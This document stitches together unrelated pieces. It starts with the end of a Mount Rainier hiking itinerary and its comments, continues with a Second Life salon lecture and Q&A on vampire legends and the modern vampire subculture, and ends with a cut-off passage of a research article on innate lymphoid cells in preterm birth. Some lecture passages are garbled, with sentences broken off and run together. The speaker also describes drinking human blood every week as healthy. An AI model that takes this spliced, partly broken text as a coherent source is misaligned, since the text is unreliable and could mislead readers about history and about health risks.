Ohanapecosh for one gorgeous day filled with mountain and forest views! - Make the scenic drive from Longmire to Paradise. Make sure to grab some coffee along the way from one of the roadside stands (a classic Washington experience)! - Take in the views on the rest of the drive up to Paradise, stop in the Visitors Center, and begin your hike on the Skyline Trail, which stops at the iconic Myrtle Falls as well! - Drive to the Ohanapecosh area of the park, which is 40 minutes from Paradise, and hike the Grove of the Patriarchs. Afterwards, continue hiking to the beautiful Silver Falls. Total miles hiked: 11.2 Option #5 We haven’t forgotten about Carbon River and Mowich! In this itinerary, explore one of the hikes in this area of the park. - Since this area is a bit more isolated and harder to get to the others from it, we’d highly recommend focusing on one solid hike. Tolmie Peak or Summit Lake would be our top picks! - After hiking, grab some food in Enumclaw! We’d suggest: Cascadia Pizza for pizza and wings, Pita’s Taqueria for some bomb Mexican food, Il Siciliano Ristorante Italiano for Italian food, or The Kettle for a hearty breakfast (closed Mondays and only open until 1 PM) Total miles hiked: 6.4 for Tolmie Peak or 5.7 for Summit Lake Ready to explore Mount Rainier? Pin this guide with all of the best things to do at Mount Rainier! Thanks so much for all the great info & tips. You guys are awesome. Can’t wait to visit Mt Rainier at the end of June. Thank you so much for reading Kelley! Have a great time!!! Excellent information, thank you very much. Is there a way I could ask some follow up questions? Hi! You can email us at [email protected] We are traveling to Mt Ranier mid September. As usual, you are my guide. Thank you so much for all of this information. We are so glad to be your guide! Have a great time!

Angelia Rees: Good afternoon! Welcome to the AEther Salon's presentation of "Vampires!", a discussion of the legend, history, and modern impact of the vampire. I am Angelia Rees - in RL a practising vampire of the sanguinarian type (more on that as we progress!) and well-studied in the myths and legends surrounding vampires and vampirism. My discussion today will begin with vampires in the ancient world, the impact of vampires and their legends on the modern era, and a brief look into the vampire sub-culture of which I am a part. At the end of my presentation, I will take questions from the audience (if you have any). And with that said, I think we can begin the presentation! Ancient Vampires The earliest legends of the vampire date back at least 4,000 years, to the ancient Assyrians and Babylonians of Mesopotamia. Mesopotamians feared Lamashtu, a demonic goddess (the daughter of sky god Anu) who preyed on humans. It was said that Lamashtu would creep into a house at night and steal or kill babies, either in their cribs or in the womb. Mesopotamians attributed sudden infant death syndrome and miscarriage to this figure. Lamashtu, which translates to "she who erases," would also prey on adults, sucking blood from young men and bringing disease, sterility and nightmares. She is often depicted with wings and birdlike talons, and sometimes with the head of a lion. To protect themselves from Lamashtu, pregnant women would wear amulets depicting Pazuzu, another demonic god who once defeated the goddess. Lamashtu is closely associated with Lilith (from the Akkadian root, lilu, meaning "spirit"), a prominent figure in Jewish texts who bears many similar traits and visual images. Accounts of Lilith vary considerably, but in the most notable versions of the story, she was the original woman. God created. While she is often depicted as a terrifying creature, Lilith also had seductive qualities. The ancient Jews believed she would come to men at night as a succubus and drain them of both blood and semen. Accounts of Lilith as a child-killer seem to be taken directly from the Lamashtu legend. She is often described as a winged demoness with sharp talons, who came in the night, primarily to steal away infants and foetuses. Most likely, the Jews assimilated the figure of Lamashtu into their tradition, but it's also possible that both myths were inspired by a class of Akkadian demons known as lili (male) and lilitu (female), which were disease-bearing wind spirits. The ancient Greeks feared similar creatures, notably Lamia, (Aristophanes claimed her name derived from the Greek word for gullet: laimos), vengeful that she began sucking the blood from young children out of jealousy for their mothers. Myths variously describe Lamia's monstrous serpentine appearance as a result of either Hera's wrath, the pain of grief, the madness that drove her to murder, or - in some rare versions - a natural result of being Hecate's daughter (as one of the Empusai). The Empusai were the malicious daughters of Hecate, the goddess of witchcraft. They could change form, and at night, came up from Hades (the underworld) as beautiful women. They would seduce shepherds in the field, and then devour them. Vampire-like figures also have a long history in the mythology of Asia. Indian folklore describes a number of nightmarish characters, including rakshasa, shape-shifters who preyed on children, and vetala, demons who would take possession of recently dead bodies to wreak havoc on the living. In Chinese folklore, corpses could sometimes rise from the grave and walk again. These beings were created when a person's p'o (lower spirit) did not pass onto the afterlife at death, usually because of bad deeds during life. The p'o, angered by its horrible fate, would reanimate the body and attack the living at night. One particularly vicious sort of creature, known as the Kuang-shi, could fly and take different forms. The Kuang-shi was covered in white fur, had glowing red eyes and bit into its prey with sharp fangs to drain them of blood. Nomadic tribes and travelling traders spread different vampire legends throughout Asia, Europe and the Middle East. As these stories travelled, their various elements combined to form new vampire myths. In the past 500 years, vampire legends have been especially pervaded with Eastern European contributions. As I continue, we'll look at these creatures, the direct predecessors of the modern vampire. Vampires In The Modern Era: 1. Demons (or agents of the devil) that reanimated corpses so they could walk among the living, and 2. Spirits of dead people that would not leave their own body. The most notable demon vampires were the Russian upir and the Greek vrykolakas. In these traditions, sinners, unbaptised babies and other people outside the Christian faith were more likely to be reanimated after death. Those who practised stake or spikes through various parts of the body., decapitate it, or run spikes through it. But after seven years, if a strigo was still around, it could live wherever it pleased. It was said that strigoi would travel to distant towns to begin new lives as ordinary people, and that these secret vampires would meet with each other in weekly gatherings. In addition to undead strigoi, referred to as strigoi mort, people also feared living vampires, or strigoi viu. Strigoi viu were cursed living people who were doomed to become strigoi mort when they died. Babies born with abnormalities, such as a vestigial tail or born with a bit of foetal membrane tissue covering the head ." The original Dracula was a real person, Vlad III, Prince of Wallachia, who ruled in the mid 1400s. His father, Vlad II, was known as Vlad Dracul (translated as either "Vlad the dragon" or "Vlad the devil"), in recognition of his induction into a society called The Order of the Dragon. Vlad III was sometimes referred to as Vlad Draculea, his actions against his enemies did nothing to amend), but there is not much evidence showing that people believed he was a vampire. Stoker's fictional villain is not closely modelled after the real Dracula, though they are sometimes linked in films based on the book. Mainly, Stoker borrowed the name of the prince, as well as his social standing. Unlike the wandering, homeless strigoi, Stoker's vampire was a wealthy aristocratic type, hiding out on a grandiose estate. It is from this novel, and the popular vampire genre that followed it, that we get most of our ideas about what vampires are today. They have become the "anti-hero", a figure of both danger and romance. Let's consider the modern vampire myth and what it offers: 1. Vampires are sexually attractive and charismatic. 2. They have superhuman intelligence and powers, such as the ability to fly and immense strength. They can use mind control and telepathy to get what they want. Vampires can also use their powers to enslave other creatures, such as wild animals to do their dirty work for them. 3. They inspire fear and no one crosses them without suffering dire consequences. 4. Vampires have conquered death and achieved immortality. The vampire myth is an interesting symbol which has evolved dramatically through literature and film. A great escape into a world that is thrilling, romantic, and mysterious, where real danger and evil is not always so apparent or frightening. The modern era has pulled the vampire's fangs, in a sense: the real fear and terror vampires once inspired has passed away into superstition, and been resurrected into an impotent but compelling media genre in little more than 100 years time. Modern Vampire Subculture It's due to this new attractiveness that surrounds the vampire that inspired a new culture within modern society: the vampire subculture. What is a subculture? A subculture is simply an alternative lifestyle that exists within mainstream culture. The vampire subculture is very "tribally" based, with many members congregated into small clans, usually called covens or houses. Each coven/house has it's own traditions and rules of vampiric behaviour (which may or may not include laws regarding the drinking of blood). There are also solitary vampires that belong to no group officially, but are still part of the subculture. Vampires within this subculture are normal people. They don't believe they are an immortal monster of any kind, but the metaphor and realities of the vampire speaks to them, expressing an emotional or physical truth about their lives and natures. They are not "vampire roleplayers", but actual human beings engaged in a lifestyle that includes vampiric activities. This is the only qualifier that separates vampires from Average Joe. It is not a "let's play pretend" society, but a community of people who share a common lifestyle. All vampires believe that the type of vampirism they engage in is both a necessary and important part of their lives. (This should not be confused with "vampire lifestylers", who dress up and emulate the Hollywood version of vampires, and who generally do not practice any form of actual vampirism.) Real vampirism and vampires also have nothing to do with clinical vampirism. Those that suffer from clinical vampirism, in most cases, are not real vampires. Clinical vampirism is a pathological and delusional disease, fetishistic and compulsive in nature, where a person experiences a psychological need for blood (sometimes with a strong sexual component). Generally, those that suffer from the syndrome often go through a progression of stages beginning with auto-vampirism (drinking one's own blood) and progressing to vampirism (drinking the blood of others). The compulsion of the vampirism stage may lead a person to committing criminal acts to obtain human blood, such as stealing blood from hospitals and blood banks or going to the extreme of killing someone. So what is a "real" vampire, then? The key factor in determining if one is a vampire is if one has a genuine need for life-force energies from outside sources. There are physical "symptoms" associated with being a vampire as well. Some of the physical traits are what might be expected: pale skin, sensitivity to sunlight physically (i.e., sunburn easily) and/or visually sensitive to any light source, better night vision than day vision, heightened senses, able to heal quicker than others. And some not so expected: feeling hungry and/or thirsty despite an adequate diet, frequent headaches for no apparent reason, not requiring very much sleep, getting sick with "flu-like" symptoms with no medical explanation when forced to go without feeding for a period of time. Real vampires are identifiable partly because they have a majority of these symptoms, not just one or two. But more significantly, real vampires are distinguished by a certain quality to their energy. While anyone reading a description of the symptoms might find a few that apply to people he knows, or even to himself, real vampires have a way of standing out vividly to everyone who interacts with them. Within the vampire subculture, active vampirism includes both sanguinarian vampirism, which involves blood consumption, and psychic vampirism, whose practitioners "feed" by drawing nourishment from auric/pranic, emotional, or sexual energy. Psychic vampires are also often energy mediums. An energy medium is a human being with an inborn ability to influence, channel, manipulate, and transform all types of energy, but in particular biological and aetheric energy, for either good or ill. Sanguinarian vampires are generally not mediums, but can possess a limited ability to manipulate the energy of those around them. The distinguishing characteristic of the sang vampire is the consumption of blood. And while the medium of exchange is blood, the purpose is the same - to replenish and enhance the vampire's energy levels. While some sanguinarians can also feed using a psychic method, many cannot, and those who can will often choose blood regardless, finding it a more satisfying "meal". The idea of transferring energy back and forth from person to person is not a new one. Many religions and belief systems hold true that every member of society shares their energy with others as they interact. Indeed, many people feel energized by being around others and by interacting with them. We relieve our stress and enhance our contentment in life by sharing our lives with those around us. The difference with vampires is that they generate less of that energy than others do and need more of that energy from others. If you have a person in your life whom you like, whom you enjoy being around, but despite that, being with them makes you feel drained, then that person may very well be a vampire. It should be noted that many sanguinarians define their condition as an objective, if unrecognised, medical syndrome, entirely biological in nature. They are hostile toward "spiritual" explanations for their blood craving, and many reject the idea that it has anything to do with energy. But whatever the reason, the need to consume blood is a very real physical need for sang vampires, with real physical consequences if that need is denied. That being said, sanguinarians seldom drink as much blood as often as they should for optimal health. The reasons for this include lack of sources, self-denial, and unawareness of their true nature and needs. The amount of blood consumed, and the frequency of consumption, varies, but few consume more than tiny amounts at a time, usually obtained through slight cuts or punctures made by sterile lancets or blades on willing human donors. Most sanguinarians insist that donors undergo testing for blood-borne diseases, including HIV and hepatitis. Some sanguinarians consume animal blood, but most consider it an inferior (or unacceptable) substitute for human blood. Whether sanguinarian or psychic, vampires come from all walks of life. Virtually every age, race, religion and profession is represented in the subculture. They are normal, regular people in normal regular jobs: teachers, lawyers, accountants, even soccer moms. They have normal lives but there is this issue of needing to take energy and/or blood from time to time and in certain ways. And while many teenagers are drawn to the subculture, they are often kept humanely on the fringes, and sometimes actively discouraged. This is both for the protection of the community (who cannot afford misunderstandings involving minors) and for the best interest of the teens: many teenagers who self-identify as part of the vampire subculture eventually grow out of it. Mature vampires understand this as a normal part of being a teen and struggling to find who you are. As such, young people generally are not fully embraced into the community until they reach maturity. Conclusion While this lecture has only barely scratched the surface of the myths, legends, and realities of the vampire (and there is so much more to learn that a short discussion can never do it justice), I hope it has inspired you to inquire further on your own. The myth of the vampire has influenced human culture, belief, and behaviour since the beginning of our civilisation. It has served as an explanation for the unexplainable, a cautionary tale, and even a desirable exemplar. The vampire haunts our darkest fears, inspires our wildest dreams, and forces us to probe our own psyches about what it means to be human. In a way, we all have a bit of the vampire inside us, showing us our reflection through a mirror darkly - both what we hope and fear to become. And whether we embrace the darkness inside us, reject it utterly, or make a truce, it is always with us. Immortal, eternal, and endless. Thank you for inviting me to speak today, and I hope you enjoyed my presentation. If you have any questions, I'd be pleased to address them now. :) Ceejay Writer: Do you know of any sources for study of Vampires in the states? Angelia Rees: Darlingmonster - your question? Darlingmonster Ember: Miss Writer first Angelia Rees: CeeJay - how so? To study about vampires, or places for vampires to study being vampires? Angelia Rees: Because there are both ;) Vernden Jervil: there is a vampire test? aww man Ceejay Writer: Actually, would like to know of any older history, any suspected vampires, activities in the past for my country. Angelia Rees: There are actually programs in a number of universities that cover vampires as a source of mythology and legend Ceejay Writer: Oooh! My typist works at university. Our search will commence! Angelia Rees: They are also studied briefly in an historical context re: 17th and 18th century hysterias Magda Haiku (magdalena.kamenev): There is a book called American Vampires, but it's more about how American culture has embraced vampire lore. Magda Haiku (magdalena.kamenev): And it's over 20 years old. Angelia Rees: Now Miss Darlingmonster's question? (Then JJ) Ceejay Writer: I appreciate the starting leads. I will enjoy learning more. That book intrigues, too. Solace Fairlady: Dimmie will ask when she gets back from crashing;) Angelia Rees: lol Angelia Rees: JJ then JJ Drinkwater: I'm curious to know your thoughts on the extensive vampire community (communities?) in SL, Miss Rees. Angelia Rees: lol Oh no you don't! But I'll answer anyway ;) JJ Drinkwater: I beg your pardon? Angelia Rees: I feel a majority of SL's vampire communities tend to focus on the cinematic vampire, and often in some of the most negative aspects thereof. That said, the individual vampires I've met in SL have been mostly pleasant people. Angelia Rees: Not a popular opinion, but the only one I have ;) Ceejay Writer: (Agreed, Angelia) Angelia Rees: Darlingmonster? You had a question? Darlingmonster Ember: I wanted to ask... how you protect the community... given that anyone anywhere can claim to be a member... Darlingmonster Ember: especially those PortraitBook folks Darlingmonster Ember checks her detector for crashpire Angelia Rees: There are a number of things I didn't cover in my lecture, by which we do so. We have recognition signs we use among ourselves, for instance. We also have a set of rules the community agrees to follow, called the Black Veil. Most outsiders and reporter types don't know about these, nor much about the history of our community. Real vampires do. ;) Darlingmonster Ember: aha, excellent work Angelia Rees: Nathan? Nathan Adored: So, what percantage of the SL vampires are of the older cinematic type, and how many are of the.... kind that sparkle? oO Angelia Rees: lol I'd say the Twilight vampires are gaining a bit of ground, but horror type vamps aren't yet overcome. And the True Blood communities have gained a bit over the Twllighters ;) Arnold (gager): Which cinema, Nosferatu or Dracula. Angelia Rees: Cyan? Ceejay Writer: I beleive theres also a formidable population of unaffiliated vampires, quietly going about their nights. Nathan Adored: Well, Nosfuratu (the silent movie) was basically a copycat of Dracula. Angelia Rees: That's very true Ceejay, and my clan in SL is one of those Cyan Rayna: I was curious since you said you were a real vampire what it's like for you. How you found out, what things you have to do etc? Ceejay Writer: As was mine, Angelia. Angelia Rees: Let's start at the top for that question, Cyan: How did I find out? Arnold (gager): It is, but Nosferatu did come out first. Arnold (gager): Movie wise. Angelia Rees: I was fairly young when I began drinking blod. About 12. I noticed I felt much better when I had blood, even a little, than when I did not. (I was a sickly child) But until I came to the US as an adult, I didn't know about the subculture or that what I did was normal to anyone but me. Angelia Rees: What do I have to do? Angelia Rees: I drink about a pint of blood total each week. That keeps me feeling fit and fine. I drink both animal and human blood, for the record. Angelia Rees: Marion? Marion Questi: Your recitation of ancient legends about vampires suggests a connection to a Jungian archetype. Have you explored the psychoanalytic aspects of vampirism? Angelia Rees: I have, but that is another lecture in and of itself. ;) Perhaps you'll ask me back and I can expound upon it a bit more ㋡ Angelia Rees: Nathan? Nathan Adored: Anyway, my understanding is that the movie Nosfuratu (the original silent movie), they basically took the story of the Dracula novel, without creditting the author, and then changed the way the vampire at the conclusion met its end, from having a wooden stake driven into its heart to being caught by the rising sun and going POOF from that. IN fact, I gather that's where the "vampires can't stand sunlight" thing originally came from. Nathan Adored: CHanged the ending so no one would notice they'd..... borrowed the plot Nathan Adored: Well, some TV documentary on the history of vampire lore said that, anyway. Angelia Rees: You're exactly right Nathan. In fact, Florence Stoker, Bram's widow, attempted to sue over it. Nathan Adored: I find it rather amusing that the vampires-can't-stand-sunlight thing came from a movie trying to avoid being caught out as a ripoff. Angelia Rees: But the company changed just enough to get the picture made without suits bringing them to ruin ;) Nathan Adored: It IS considered a classic, anyway. Angelia Rees: It is, and for all it's flaws, I quite like it. Count Orlock is the creepiest vampire I've ever seen ;) Nathan Adored: Course, thern someone way more recently did a dark comedy about the MAKING of that movie.... where it turned ou the vampire star of the movie actually WAS a vampire, and the director was covering up for that. LOL Arnold (gager): A lot of things were stolen and gotten away with in that era sadly. Arnold (gager): Like that guy with the trip to the moon film. Martien Pontecorvo: Yes, George Meliere Angelia Rees: I have time for one more question I think, and then I must depart ㋡ Bookworm Hienrichs: If not, I thank you for coming, and would encourage you to join the AEther Salon group if you haven't already. Just click on one of the larger posters. You can also supply any tips to help support the Salon by paying one of the smaller posters. Next month's Salon will be November 18th at 2:00 PM SLT. Kghia Gherardi will discuss Steampunk literature. Thank you again, Madame Rees! Monday, October 22, 2012

- Research - Open Access - Published: Type 2 and type 3 innate lymphoid cells at the maternal-fetal interface: implications in preterm birth BMC Immunology volume 22, Article number: 28 (2021) 1744 Accesses 3 Citations 2 Altmetric - Abstract Background Preterm birth (PTB) is one of the major causes of neonatal morbidity and mortality worldwide. It is commonly accepted that the act of giving birth is the final step in a proinflammatory signaling cascade, orchestrated by an intrauterine milieu coupled to hormonal cues. Consequently, the inflammatory process plays a pivotal role during the pathogenesis of human labor, both in term and preterm deliveries. The ability of innate lymphoid cells (ILCs) to act as pro-inflammatory mediators arose the interest to study their role in normal and pathological pregnancies. The aim of this work was to analyze the relative frequencies of ILCs subsets in pregnancy and the levels of IL-4, IL-17, IL-22, and IFN-γ as inflammatory mediators. Accordingly, we hypothesized that changes in the proportions of ILCs subpopulations could be related to preterm birth. Methods We analyzed 15 full-term delivery samples and six preterm delivery samples. In the full-term group (FTB) peripheral blood was taken during routine blood analysis, on 3 occasions: 1st, 2nd and 3rd trimester. After delivery, peripheral blood, cord blood and placenta were collected. In PTB group, peripheral blood samples were obtained on two occasions: before and 24 h after treatment with progesterone. We used flow cytometry to analyze ILCs in maternal peripheral blood, placenta, and cord blood samples. Maternal peripheral blood and cord blood samples were analyzed by enzyme-linked immunosorbent assay for IL-4, IL-17, IL-22, and IFN-γ plasma levels at the time of labor. Results We observed significantly increased relative frequencies of ILC2 and ILC3 in the decidua, as well as an increase of ILC2 in cord blood samples in PTB group, compared to FTB samples. We also found a decrease in IFN-γ in peripheral blood samples of the PTB group, suggesting a functional withdrawal. Additionally, IL-4, IL-17, IL-22 levels were similar in PTB and FTB groups, denoting a relevant role in mediating labor. Conclusion Our results suggest that ILC2 and ILC3 play a role in PTB by mediating an inflammatory response. Further work is necessary to evaluate the importance of ILCs in the regulation of labor. Background In the past 5 years, an increasing number of studies have focused on a relatively new set of cells, termed innate lymphoid cells (ILCs). Commonly characterized as belonging to the innate component of the immune system, these cells are potentially of substantial interest for neonatal care, mainly for women who suffer a preterm birth (PTB). PTB is one of the major causes of neonatal morbidity and mortality worldwide. In Portugal, of the 85,500 live-born children in 2015, 8% were born premature [1]. These numbers justify the growing scientific interest in this research, as the world eagerly awaits a new standard of care that might be implemented to allow a reduction in neonatal mortality due to PTB. The gestational period is comprised of decidualization, placentation and fetal development and requires uterine quiescence and the production of both anti- and proinflammatory cytokines from maternal and fetal cells [2]. Indeed, throughout pregnancy, three distinct biological periods characterized by different immunological microenvironments occur: the first trimester comprises an inflammatory period; while the second trimester comprises an anti-inflammatory period (during which the fetus grows); and the third trimester also comprises an inflammatory period that leads to delivery [3]. Similarly supported by previous work from our group [4, 5], progesterone has been shown to play an important role in reproductive health for the initiation and maintenance of pregnancy, with good results in the prevention of spontaneous abortion and recently in preterm labor [6]. Considering the anti-inflammatory effect of progesterone, we aim to study its effects on preterm birth, through the action on ILCs. Indeed, ILCs appear to be an interesting population to investigate, and reports on ILCs diverse functions that range from inflammation, protection against infections and microorganisms, tumor surveillance and mediation of graft-versus-host disease have been published [7]. As ILCs are thought to play a role in the innate immune response [8], the notion that they may be the basis of a composed inflammatory cascade has drawn our attention. In fact, ILCs can be divided into five distinct groups: NK cells known to produce IFN-γ; Group 1 (ILC1) also known to produce IFN-γ a Th1 like cytokine; Group 2 (ILC2) are characterized by the expression of transcription factor Gata3 and the ability to produce Th2 like cytokines; Group 3 (ILC3), known to produce IL-22 and IL-17; and LTis, important in secondary lymphoid organ formation [8, 9]. ILC3 can be further divided based on the presence of the natural cytotoxic receptor (NCR) NKp44; ILC3 NCR+ produce IL-22, while ILC3 NCR− produce IL-17 [7, 10] and both subsets have been found in the decidua [11]. According to the literature, studies performed in humans and mice, suggest ILC3 cells may be of substantial interest in women delivering PTB since they not only express natural cytotoxic receptors (NCR, which is thought to have a stimulatory effect on natural killer (NK) cell action), but also produce IL-17 and IL-22, under the control of the transcription factor RORγt, reviewed by van de Pavert et al. [12] and Spits et al. [13] respectively and aryl hydrocarbon receptor (AHR) [14]. In this context, IL-17 is substantially relevant since it promotes a proinflammatory state, which might trigger premature birth. Additionally, IL-22 initiates cell cycle progression via the JAK/STAT pathway, thus contributing to tissue regeneration and homeostasis, reviewed by Lamarthée et al. [15], important for placental maintenance. Studies describing ILCs populations during pregnancy or their role in PTB are still scarce. Vacca et al. [11] published an extensive study that clearly identifies ILC1 and ILC3 populations in first trimester decidua. They demonstrated that these cells have the ability to produce proinflammatory cytokines, including IL-8, IL-22, IL-17A, TNF, and IFN-γ [11], and concluded that ILC3 and ILC1 may play key roles in the implantation process, together with tissue remodeling functions, due to secretion of proinflammatory and angiogenic factors. Conversely, Xu et al. [16] showed that ILC2 is the most abundant population in the decidua, capable of producing Th2-type cytokines, such as IL-4, IL-5, and IL-13. In that study, the authors suggest that the proinflammatory proprieties of ILC2 might underlie the pathological process prompting PTB [16]. Specifically, Xu et al. [16] argue that ILCs populations dynamically change throughout pregnancy. In fact, they also detected ILC3 in the decidua parietalis, capable of producing IL-17 and IL-22, suggesting that these cells may be responsible for inflammation-driven PTB. However, Xu et al. [16] also propose that ILC3 can regulate inflammatory actions via the production of IL-13. The discrepancies in the previously published studies highlight the fact that further studies are needed to clarify the role of ILCs and the innate immune system in normal pregnancy and in abnormal situations, such as PTB. Thus, this pilot study aimed to isolate and characterize ILCs populations from the decidua basalis of pregnant women and compare the results with those in preterm birth samples. Based on the changes in the different ILCs population numbers, we postulate that ILC2 and ILC3 might play a preponderant role in the instigation of labor. Results In the current investigation, we analyzed 15 full-term delivery samples and six spontaneous preterm delivery samples. In the full-term group, the median maternal age was 34 years (33 < 95% CI < 37), the median gestational age at delivery was 40 weeks (39 < 95% CI < 40), the median birth weight was 3635 g (2962 < 95% CI < 3755), and the median placental weight was 500.5 g (448 < 95% CI < 603). In the preterm labor group, the median maternal age was 32 years (22 < 95% CI < 35), the median gestational age at delivery was 36 weeks (34 < 95% CI < 37), the median birth weight was 2505 g (2130 < 95% CI < 3125) and the median placental weight 472 g (413 < 95% CI < 731); these data are summarized in Table 1. All women in this study were nonsmokers. In the clinical information we found a significant statistical difference in birth weight, which is lower in the study group (p < 0.001 t-test, 95% CI). In our investigation, we found no differences in ILCs populations relative frequencies in peripheral blood in FTB group during the first, second or third trimester (Fig. 1), as well as, in the moment of labor (Fig. 2). In addition, we found no differences in ILCs numbers before or after the administration of Progesterone in women who delivered PTB (Fig. 3). This latter result may be explained in part by Progesterone exerting its effects only locally [17], and by the fact that ILCs (namely NK cells) have shown functional and phenotypic differences according to tissue location [18, 19]. In our study, there was a significant increase in ILC2 and ILC3 frequencies in the decidua of women who delivered preterm (p < 0, 05 t-test, 95% CI) (Fig. 4a); in cord blood samples we verified an increase in ILC2 frequency also in that group (p < 0, 05 t-test, 95% CI) (Fig. 4b). When observing the ILC3 subsets, ILC3 NCR- and ILC3 NCR+ cells within the FTB and PTB group, the ILC3 NCR- population was clearly increased, representing the predominant ILC3 subset (p < 0.001, student t-test 95% CI) (data not shown). Decidual and cord blood ILCs in FTB and PTB. a Graphic displaying the relative percentage of the different ILC populations in full term birth (FTB, n = 15) compared to preterm birth (PTB, n = 6), in human decidua. b Graphic displaying the relative percentage of the different ILC populations in FTB (n = 15) compared to PTB (n = 5) in cord blood samples. Multiple t-student tests where used for statistical analysis with a 95% confidence interval, p-value * p < 0.05; ** p < 0.01 (two tailed) Determination of, IL-17, IL-22 and IL-4 plasma levels in cord blood and peripheral blood samples showed no differences between FTB and PTB groups (Fig. 5a, b and d respectively). Moreover, we found reduced levels of IFN-γ in peripheral blood samples of women who delivered PTB (Fig. 5c). Enzyme-Linked Immunosorbent Assay (ELISA) in cord blood and maternal peripheral blood in FTB and PTB. a Graphic displaying IL-17 plasmatic concentrations in cord blood FTB (n = 15) and PTB (n = 5), as well as, plasmatic concentrations of IL-17 in maternal Peripheral Blood (PB) (n = 6). b Graphic displaying IL-22 plasmatic concentrations in cord blood FTB (n = 15) and PTB (n = 6), as well as, plasmatic concentrations of IL-22 in maternal Peripheral Blood (PB) (n = 6). c Graphic displaying Ifn-γ plasmatic concentrations in cord blood FTB (n = 15) and PTB (n = 6), as well as, plasmatic concentrations of Ifn-γ in maternal Peripheral Blood (PB). d Graphic displaying IL-4 plasmatic concentrations in cord blood FTB (n = 15) and PTB (n = 6), as well as, plasmatic concentrations of IL-4 in maternal Peripheral Blood (PB). Student’s t-tests were used for statistical analysis with a 95% confidence interval. A statistical significant decrease in Ifn-γ plasma concentration was found, in peripheral blood samples in women with PTB Discussion These preliminary results demonstrate that ILCs are present in the decidua of both FTB and PTB pregnant women, since we clearly detected them at the maternal-fetal interface, as well as in cord blood samples. ILCs, specifically the ILC2 and ILC3 populations, have been described to play a preponderant role in pregnancy [16, 20]. Moreover, Xu et al. [16] reported that ILC3 cells can also produce IL-13 (a proinflammatory cytokine), which, if confirmed, could also contribute for the instigation of labor. Additionally, as mentioned by Mjösberg and Spits [7], ILC3 NCR+ cells produce mainly IL-22, while NCR− cells produce IL-17 [7], which is intriguing since IL-22 is considered a homeostatic cytokine that contributes to tissue and organ integrity. On the other hand, IL-17 mostly functions as a proinflammatory cytokine [21]. Herein, we found the ILC3 NCR− to be the dominant ILC3 population, which is in accordance with the findings highlighted by Vacca et al. [11]. Undeniably, ILC3 population can produce proinflammatory cytokines in deciduas isolated from women in their first trimester of pregnancy, highlighting a potentially important role for ILC3 cells in the first stages of pregnancy. These facts support our results revealing elevated ILC2 and ILC3 frequencies in decidua of women that underwent PTB, as well as IL-17 concentration found in our ELISA experiments. Indeed, the concentrations determined on labor day in the FTB group were like those found in the PTB group, denoting an inflammatory role of IL-17 in the instigation of labor. Regarding IL-22 levels, a work carried out by Perfetto et al. [22] suggests that IL-22 may play a key role in maintaining decidual homeostasis and help to constrain inflammation by contracting the effect of IL-17. These authors found lower levels of IL-22 in unexplained recurrent pregnancy loss in human decidua. Again, the fact that we found comparable values of IL-22 plasma concentrations in PTB and FTB groups, may reflect a loss of the protective role of IL-22 and the prevalence of the pro-inflammatory effect of IL-17. The discovery of reduced plasma levels of IFN-γ in peripheral blood samples of women who delivered PTB is noteworthy. A study by Hanna N et al. [23] demonstrated that IFN-γ represses COX-2 expression and PGE2 production in human placental samples from both term and preterm labor deliveries, suggesting that functional withdrawal of IFN-γ may be involved in the onset of term or preterm labor. Since our results are from peripheral blood samples, further work needs to focus on decidual samples to identify IFN-γ producing ILCs, namely ILC1 or NK cells. Nonetheless, we cannot reject the assumption that an exacerbated Th2-type response in PTB may be orchestrated by ILC2. The comparable values of IL-4 plasma levels found in the FTB and PTB groups support this hypothesis. Moreover, ILC2 are capable of presenting antigens to T CD4+ cells and induce proliferation towards a Th2 phenotype in an IL-2 dependent manner [24]. This is a remarkable finding since it proposes a crosstalk between the innate and adaptive immune systems [25,26,27]. However, ILC3 have been shown to express MHC class II molecules, promoting a T cell-mediated response [28]. This fact, may elucidate the role of ILCs in mounting an adaptive immune response, potentially representing a tolerance mechanism towards the fetus, which is of substantial interest. A strong point of this study is its corroboration with existing hypothesis that an inadequate inflammation triggered immunological response prompts PTB, suggesting a key role of ILCs in this process; unfortunately, numerous mechanisms underlying ILCs actions in pregnancy remain to be ascertained. The data herein presented suggests that in PTB group there is an inflammatory response orchestrated by an elevation of ILC2 and ILC3. However, this group is being treated with progesterone, which is manly an anti-inflammatory hormone. To explain this discrepancy, further work is needed to ascertain the expression of progesterone receptors in the different ILCs populations. In fact, previous work conducted by Areia et al. [5] demonstrated a decline in T regulatory cells (Treg), positive for membrane progesterone receptor (mPRα+), theorizing a reduction in progesterone anti-inflammatory action through Treg mPRα+ cells. Our study does present some limitations that must be considered. Because our small sample size, the results should be interpreted with caution. To address this issue, future studies should include a larger number of women, with particular attention to a comprehensive analysis of cytokine release throughout pregnancy. Conclusion The data presented herein suggest that labor might be characterized by decreased tissue remodeling and repair functions, accompanied by a marked inflammatory response, due to high levels of ILC2 and ILC3. Also, our ELISA experiments propose that labor might be characterized by a functional INF- γ withdrawal. However, there was no significant decline in ILC1 population that could account for this result. Nevertheless, our results are encouraging, as they suggest a role of ILCs in the regulation of labor. Thus, we aimed to expand the current knowledge on the immunology of pregnancy by focusing on ILCs fluctuations during pregnancy and meticulous analysis of cytokine profile. Methods The present study was approved by Coimbra Hospital and Universitary Centre ethics committee. Signed informed consents were obtained from all patients whom their blood samples, placentas and clinical data were used in this study. All methods involving human participants, human sera and human data were carried out in accordance with Declaration of Helsinki and approved by the Faculty of Medicine from Coimbra Univaersity. Population Female patients who planned to deliver at the Obstetric Department of Coimbra Hospital and Universitary Centre (CHUC) were invited to participate in the study. The study inclusion criteria consisted of pregnant women monitored by normal prenatal appointments and women presenting to the emergency room in labor. Inclusion criteria for full term birth group (FTB) comprised: healthy pregnant women attending normal prenatal appointments; full term singleton pregnancies, delivered after spontaneous labor; and first prenatal appointment before 14th week gestation. The inclusion criteria for the preterm birth (PTB) group were as follows: admission to the Fetal Maternal Medicine Obstetric Department of CHUC with confirmed spontaneous preterm labor, singleton pregnancy, gestational age between 24 weeks + 0 days and 36 weeks + 6 days, intact membranes, cervical length ≤ 25 mm and the use of Atosiban (competitive oxytocin receptor antagonist) for tocolysis (for contraction cessation). Administration of natural progesterone was done after tocolysis with Atosiban, vaginally, once daily, in a 200 mg dosage. Exclusion criteria were the following: multiple gestation; preterm rupture of membranes; chorioamnionitis; placenta previa or placental abruption; intrauterine growth restriction; and pre-existent maternal diseases, namely: hypertension, diabetes, autoimmune diseases, and allergies. Clinical chorioamnionitis was diagnosed based on histologic evaluation and clinical laboratorial parameters like fever, maternal tachycardia, fetal tachycardia, maternal leukocytosis, uterine tenderness, foul-smelling amniotic fluid; elevated maternal 